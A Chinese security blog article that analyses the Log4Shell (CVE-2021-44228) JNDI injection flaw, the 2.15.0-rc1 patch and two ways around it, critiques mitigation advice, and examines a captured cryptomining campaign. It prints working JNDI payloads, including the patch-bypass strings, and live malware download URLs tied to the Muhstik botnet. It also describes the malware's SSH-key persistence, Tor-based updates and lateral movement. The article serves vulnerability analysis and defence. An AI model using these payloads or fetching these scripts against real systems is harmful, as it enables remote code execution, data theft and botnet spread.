欢迎光临
我们一直在努力

Log4shell漏洞研究及其挖矿案例分析

Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具,因其卓越的性能,使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露,大量常用框架已经被发现存在该漏洞,本漏洞触发条件极其简单,且无需特殊配置,风险极大。

漏洞描述:

攻击者可直接构造恶意请求,触发远程代码执行漏洞。

影响范围如下:

Apache Log4j 2.x<=2.14.1

已知受影响的组件和供应商有:

Apache Solr

Apache Druid

Apache Struts2

Apache Flink

Apache Dubbo

Apple

腾讯

Steam

Twitter

百度

滴滴

京东

NetEase

Google

LinkedIn

VMWarevCenter

VMWare

CloudFlare

 

漏洞分析:

该漏洞归根结底是一个非常简单的 JNDI 注入缺陷,其原理在于log4j在执行lookup()时,允许开发者通过一些协议去读取本地环境变量中的配置,但是在实现中未对输入进行严格判断。

在默认情况下,特定jdk版本的JNDI支持两种特殊的协议:RMILDAP。在这两种情况下,lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class

 

过程分析:

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format函数

将输入内容作为字符串处理,然后对于其中出现的${,进行替换操作。

替换是一个字符串查找的过程,方法如下:将{xxx:yyy}的结构由 ‘:’ 字符进行分割,解析为prefixname两部分。通过prefixstrLookupMap哈希表查询对应的lookup方法,再通过实例调用lookup()方法,将name作为参数带入执行。

主要目的是在日志记录中发现 ${ ,并将表达式里的内容,替换为表达式解析后的内容,导致攻击者可以任意执行命令。

以下为存在漏洞版本strLookupMap哈希表的内容,其中包含了jndi样危险的协议。

最后跟入的触发点JndiManager.lookup如下:

以最常见的ldap类型的攻击payload为例,

${jndi:ldap://xxx.xxx.xxx.xxx/exp}

最终利用过程如下图所示,通过jndi注入,使得lookup远程调用ldap服务,再利用ldap响应将请求重定向到准备好的攻击服务器上,使目标服务器下载恶意的class代码并将其执行。

补丁分析及绕过:

修复版本2.15.0-rc1

补丁分析

经过diff和调试之后,主要发现两点修复:

l  第一点修复是PatternLayout.class#StringBuilder toSerializable方法,

这里将formnatters方法里包含的第8formatter对象(原本是触发漏洞的MessagePatternConverter),修复为MessagePatternConverter.SimplePatternConverter

2.14.1版本:

2.15.0-rc1版本:

分析一下,不难看出,这个类不再判断${}这种情况 ,而是直接拼接字符串。

但是这个补丁在特定情况下仍然保留了进行${}处理的方法,前提是converte被设置为LookupMessagePatternConverter

然而rc1的补丁默认设置nolookups想要尝试绕过,只能是在用户手动将lookup开启的情景下才能进行。因而这一绕过在现实情况下,几乎不会构成威胁。

但是为了进行后续分析,我们手动开启lookup进行后续分析。

l  第二点修复,添加白名单

递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞时,添加了协议白名单

默认的协议只支持:ldapldapsjava

默认的Host白名单是localhost

实际上对我们的payload进行拦截的是这个OBJECT_FACTORY判断,因为我们RCE加载远程对象时,无论如何也避免不了使用Factory属性。

然而JndiManager这里的处理存在一定漏洞给了我们Fuzz的空间:

    public synchronized <T> T lookup(final String name) throws NamingException {

try {

URI uri = new URI(name);

···

}

} catch (URISyntaxException ex) {

// This is OK.

}

return (T) this.context.lookup(name);

}

 如果在这里触发了URI异常会直接触发lookup(name)

所以我们可以尝试构造payload使其在new URI(name)时候报错,但是在name传入context.lookup(name)的时候正常执行。

 

补丁绕过

知道绕过思路后,此处有两种基于此思路的绕过方法:

1.     参考4ra1n师傅的思路,通过URI中加入空格触发报错:

经过测试,发现URI(name)中不进行URL编码是会报错,所以可以直接在payload中加一个空格触发报错,直接进入lookup(name)。然而lookup时候又会自动去掉这个空格。

payload${jndi:ldap://127.0.0.1:1389/   Exploit}

成功RCE(需要用户手动开启lookup功能的基础上才可以,鉴于生产环境,绝大多数情况下,这个fuzz只存在于理论上。)

2.     根据官方测试用例里,在URI后面加上脏数据:

“?Type=A Type&Name=1100110&Char=!”

同样可以触发异常绕过防护。

修复版本2.15.0-rc2

2.15.0-rc2的修复方法是在触发URI异常后直接return null,避免了上文的fuzz行为。

基于甲方视角的修复建议分析

本段的思路主要来自于忍者师傅的文章,探讨一下目前各大厂商流行的临时修复方案及其潜在问题:

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

漏洞刚刚被披露出来时,几乎所有的厂商预警文章都是互相copy的,里面存在各种没有详细说明,甚至无效的修复方案,比如:

1.     这些措施几乎完全是从安全调试的视角来看待问题,nolookups设置成true确实可以避免漏洞,但是禁用了所有的lookup是否会影响业务日志正常的打印输出,遇到了问题,调试找不到需要的日志有如何解决?

2.     经过多次验证,给出的修复方案里设置系统环境变量这一条,并不能生效。

3.     升级jdk版本只能防止一些里有LDAPRMI产生的RCE,并不能防止敏感信息的带外攻击。

 

jdk版本升级

多数情况下,jdk版本升级之后攻击者最多也就只能触发一个dnslog,做不了进一步的命令执行操作。但是这并不是万无一失的,因为还存在通过dnslog带外各种敏感信息的风险。攻击者可以利用这些信息为后续的攻击做铺垫,可以参考浅蓝大佬的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

里面介绍了在不出网的情况下通过 SystemPropertiesEnvironment 这两个lookup的参数获取一些环境变量和系统属性,并借助dnslog传递出去。

PS:这个dnslog.cn崩了的替代品是https://app.interactsh.com/#/

后续该公司在通告里对修复方案进行了详细的调整:

对此笔者的建议如下:

相对最谨慎稳妥的解决方案是关闭log4j2jndi调用后,再重新开启lookup避免影响业务功能。因为正常情况下应该不存在真的有开发者利用到了lookup里的jndi的情况。

 

利用log4j漏洞的挖矿攻击案例

前日,我们捕获到了一个利用log4j漏洞植入挖矿病毒的攻击行为,并对其进行了简单的分析。

其命令执行的payload位于URI中,作为路径的一部分:

\\$%7Bjndi:ldap://xx.xx.xx.xx:1389/Exploit%7D

攻击者在加载恶意class文件后,执行命令:下载并以shell格式执行了log文件,查看之后该log文件内容如下:

在这里,恶意软件下载并执行各种可执行文件,然后是几个脚本。

下载完需要执行的ldm.sh文件之后,发现了连接矿池执行挖矿命令的代码:

这个矿工将自己的连接地址托管在了Tor网络的站点中,可以通过代理访问:

ldm脚本将攻击者ssh公私密钥添加到ssh列表里,实现持久化控制。

该脚本还会设置crontab任务,以定期从socks5h://\\$s:9050 $RHOST.onion/src/ldm等站点更新自己的内容。

恶意脚本还会遍历系统后台其他正在执行的进程,从中筛选出挖矿脚本,并将其kill掉(黑吃黑)。

除了利用本机执行挖矿代码,恶意脚本还能够通过提取本机的SSH 密钥,并从 bash 历史记录和 SSH 配置以及已知主机中构建一个,包含所有相关主机的列表来进行横向移动。

如果这些主机被成功连接,就会在这些主机上下载以下脚本:

http://34.221.40.237/[.]x/3sh

http://34.221.40.237/[.]x/1sh

其内容与之前的log脚本大体相似,从而实现横向移动。

从脚本关联执行横向移动时,加载脚本的IP可以将这一挖矿攻击,与Muhstik僵尸网络活动关联起来。

 

结语:

新披露的Apache Log4j漏洞是一个利用方式简单而又丰富多样、影响范围又极其广泛的漏洞,厂商们紧急加固的同时,又有许多攻击者正在非常迅速地测试新漏洞的各种利用方式,如何快速地响应和合理地处置攻击行为,对甲方和乙方厂商都是严峻的考验,乙方在提供处置方案时要尽可能的保证严谨,对客户负责,甲方在加班加点修补漏洞的同时,也要充分保障业务的正常运转不受影响。

 

参考链接:

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

https://xz.aliyun.com/t/10649

更多技术文章,微信公众号搜索云影实验室

顺便插下招聘广告,安全研究员1名和安全开发工程师1名,有意者可以私信公众号。

赞(0) 打赏
未经允许不得转载:黑客技术网 » Log4shell漏洞研究及其挖矿案例分析
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏